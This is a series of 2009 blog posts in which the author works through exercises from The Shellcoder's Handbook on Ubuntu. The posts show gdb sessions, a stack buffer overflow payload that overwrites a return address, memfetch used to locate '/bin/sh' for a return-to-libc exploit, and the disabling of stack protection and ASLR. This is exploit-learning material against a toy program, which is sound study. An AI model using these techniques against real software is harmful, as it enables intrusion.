Showing posts with label stack. Show all posts
Showing posts with label stack. Show all posts

Tuesday, May 19, 2009

Using memfetch, page 37

This line is somewhat mysterious:
memfetch will dump everything in memory for a specific process; simply look through the binary files for the address of /bin/sh
I've never used memfetch, so may as well get into it now. First, you'll need to get a hold of it and compile it. Download it from Zalewski's site, and, if you're like me and don't have your Linux kernel headers in your include path already, edit the #include line for 'page.h' to
#include "/usr/src/linux/include/asm/page.h"
Googling around for some examples on using memfetch to actually find the address of /bin/sh turns up little, other than copy-pastes of this very section of Shellcoders (like this one). So, not much luck there. After some trial and error, I have a procedure together now which seems to work pretty well.

Memfetch won't run on a process that's already being traced (like, via gdb), so the easiest way to search for /bin/sh is to write a program that hangs around a while. I wrote sleeper.c for this:
int main(void) {
printf("process id: %d\n", getpid());
sleep(30);
}
At this point, compile and run sleeper.c as normal. Note the process ID, and in another terminal, run memfetch , grep for "/bin/sh", note which dump it's in, look for its offset, and do a little arithmetic to figure out where this string lives. Below is a screen capture of the process.
todb@mazikeen:~/dev/sc/memfetch$ ./memfetch 2882
memfetch 0.05b by Michal Zalewski
[+] Attached to PID 2882 (/home/todb/dev/sc/sleep).
[*] Writing master information to mfetch.lst...
Writing map at 0x08048000 (4096 bytes)... [N] done (map-000.bin)
Writing map at 0x08049000 (4096 bytes)... [N] done (map-001.bin)
Writing map at 0x0804a000 (4096 bytes)... [N] done (map-002.bin)
Writing mem at 0xb7e6c000 (4096 bytes)... [S] done (mem-003.bin)
Writing map at 0xb7e6d000 (1409024 bytes)... [S] done (map-004.bin)
Writing map at 0xb7fc5000 (8192 bytes)... [S] done (map-005.bin)
Writing map at 0xb7fc7000 (4096 bytes)... [S] done (map-006.bin)
Writing mem at 0xb7fc8000 (12288 bytes)... [S] done (mem-007.bin)
Writing mem at 0xb7fe0000 (12288 bytes)... [S] done (mem-008.bin)
Writing map at 0xb7fe3000 (106496 bytes)... [S] done (map-009.bin)
Writing mem at 0xb7ffd000 (4096 bytes)... [S] done (mem-010.bin)
Writing map at 0xb7ffe000 (4096 bytes)... [S] done (map-011.bin)
Writing map at 0xb7fff000 (4096 bytes)... [S] done (map-012.bin)
Writing mem at 0xbffeb000 (86016 bytes)... [S] done (mem-013.bin)
[*] Done (14 matching). Have a nice day.
todb@mazikeen:~/dev/sc/memfetch$ grep '/bin/sh' *.bin
Binary file map-004.bin matches
todb@mazikeen:~/dev/sc/memfetch$ irb
irb(main):001:0> f = File.open('map-004.bin') {|f| f.read} ; nil
=> nil
irb(main):002:0> hex # A quicky irb function that converts dec to hex for return values.
=> true
irb(main):003:0> loc = f.index('/bin/sh') # the offset into mem-004.bin
=> 13cc73
irb(main):004:0> start = 0xb7e6d000 # Remember, that's where map-004.bin starts.
=> b7e6d000
irb(main):005:0> start + loc # The location of /bin/sh.
=> b7fa9c73
To verify this value, I re-ran sleep with gdb attached:

todb@mazikeen:~/dev/sc$ gdb ./sleep
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x8048432
(gdb) r
Starting program: /home/todb/dev/sc/sleep

Breakpoint 1, 0x08048432 in main ()
Current language: auto; currently asm
(gdb) x/s 0xb7fa9c73
0xb7fa9c73: "/bin/sh"
(gdb)
Ta-da! So there you have it, using memfetch to find the location of the string "/bin/sh" for use in a return-to-libc style stack exploit. Remember, for this to work consistently, you need to disable ASLR with sudo /sbin/sysctl -w kernel.randomize_va_space=0, as mentioned here.

PS, one useful links I found while puzzling this out is Securiteam's GDB cheat sheet, at: http://www.securiteam.com/securityreviews/5UP0B2KCKI.html. Another is c0ntex's https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/Return-to-libc.txt, which is essentially the same as this Shellcoder's section, but just presented a little differently.

Also, the astute reader will notice about a month lapsed between the last blog post and this one; finals and work and real life intruded on this work for a little bit. Hopefully, I'm back in a position to devote some time to this every day again.

Thursday, April 9, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23

So, first off, I've downloaded the real code examples from Wiley, here. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.

Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
(gdb) disassemble return_input 
Dump of assembler code for function return_input:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x24,%esp
0x080483fa : lea -0x1e(%ebp),%eax
0x080483fd : mov %eax,(%esp)
0x08048400 : call 0x8048308
0x08048405 : lea -0x1e(%ebp),%eax
0x08048408 : mov %eax,(%esp)
0x0804840b : call 0x8048328
0x08048410 : leave
0x08048411 : ret
End of assembler dump.
(gdb) break *0x08048400
Breakpoint 1 at 0x8048400: file overflow.c, line 4.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file overflow.c, line 6.
(gdb) run
Starting program: /home/todb/dev/sc/overflow

Breakpoint 1, 0x08048400 in return_input () at overflow.c:4
4 gets (array);
(gdb) disas main
Dump of assembler code for function main:
0x08048412 : push %ebp
0x08048413 : mov %esp,%ebp
0x08048415 : call 0x80483f4
0x0804841a : mov $0x0,%eax
0x0804841f : pop %ebp
0x08048420 : ret
End of assembler dump.
(gdb) x/20x $esp
0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838
0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b
0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
(gdb) continue
Continuing.
111111111122222222223333333333ABCDEFGH
111111111122222222223333333333ABCDEFGH

Breakpoint 2, 0x08048411 in return_input () at overflow.c:6
6 }
(gdb) x/20x 0xbfc7b80c
0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131
0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333
0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
It took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflow
123456789012345678901234567890A
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow
123456789012345678901234567890AA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow
123456789012345678901234567890AAA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow
123456789012345678901234567890AAAA
Segmentation fault (core dumped)
At any rate, the exploit works just fine with the extra padding:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflow
123456789012345678901234567890AAAA�
123456789012345678901234567890AAAA�
Oh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).

Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.

Wednesday, April 8, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 19

If you are running a 2.6.x Linux kernel (like me), you will need to compile code with -fno-stack-protector:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb 2-3.c -o overflow

Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAAAAB
AAAAAAAAAAB
*** stack smashing detected ***: ./overflow terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4b)[0xb7ed005b]
/lib/libc.so.6(__fortify_fail+0x0)[0xb7ed0010]
./overflow[0x804842c]
./overflow[0x8048436]
/lib/libc.so.6(__libc_start_main+0xe5)[0xb7e03685]
./overflow[0x8048391]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 168557 /home/todb/dev/sc/overflow
08049000-0804a000 rw-p 00000000 08:01 168557 /home/todb/dev/sc/overflow
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dec000-b7ded000 rw-p b7dec000 00:00 0
b7ded000-b7f2a000 r-xp 00000000 08:01 13388391 /lib/libc-2.8.90.so
b7f2a000-b7f2c000 r--p 0013d000 08:01 13388391 /lib/libc-2.8.90.so
b7f2c000-b7f2d000 rw-p 0013f000 08:01 13388391 /lib/libc-2.8.90.so
b7f2d000-b7f30000 rw-p b7f2d000 00:00 0
b7f33000-b7f40000 r-xp 00000000 08:01 13385851 /lib/libgcc_s.so.1
b7f40000-b7f41000 r--p 0000c000 08:01 13385851 /lib/libgcc_s.so.1
b7f41000-b7f42000 rw-p 0000d000 08:01 13385851 /lib/libgcc_s.so.1
b7f42000-b7f45000 rw-p b7f42000 00:00 0
b7f45000-b7f5f000 r-xp 00000000 08:01 13385969 /lib/ld-2.8.90.so
b7f5f000-b7f60000 r-xp b7f5f000 00:00 0 [vdso]
b7f60000-b7f61000 r--p 0001a000 08:01 13385969 /lib/ld-2.8.90.so
b7f61000-b7f62000 rw-p 0001b000 08:01 13385969 /lib/ld-2.8.90.so
bf866000-bf87b000 rw-p bffeb000 00:00 0 [stack]
Aborted (core dumped)

With -fno-stack-protection, the output looks a lot more like the book's:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Segmentation fault (core dumped)

By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.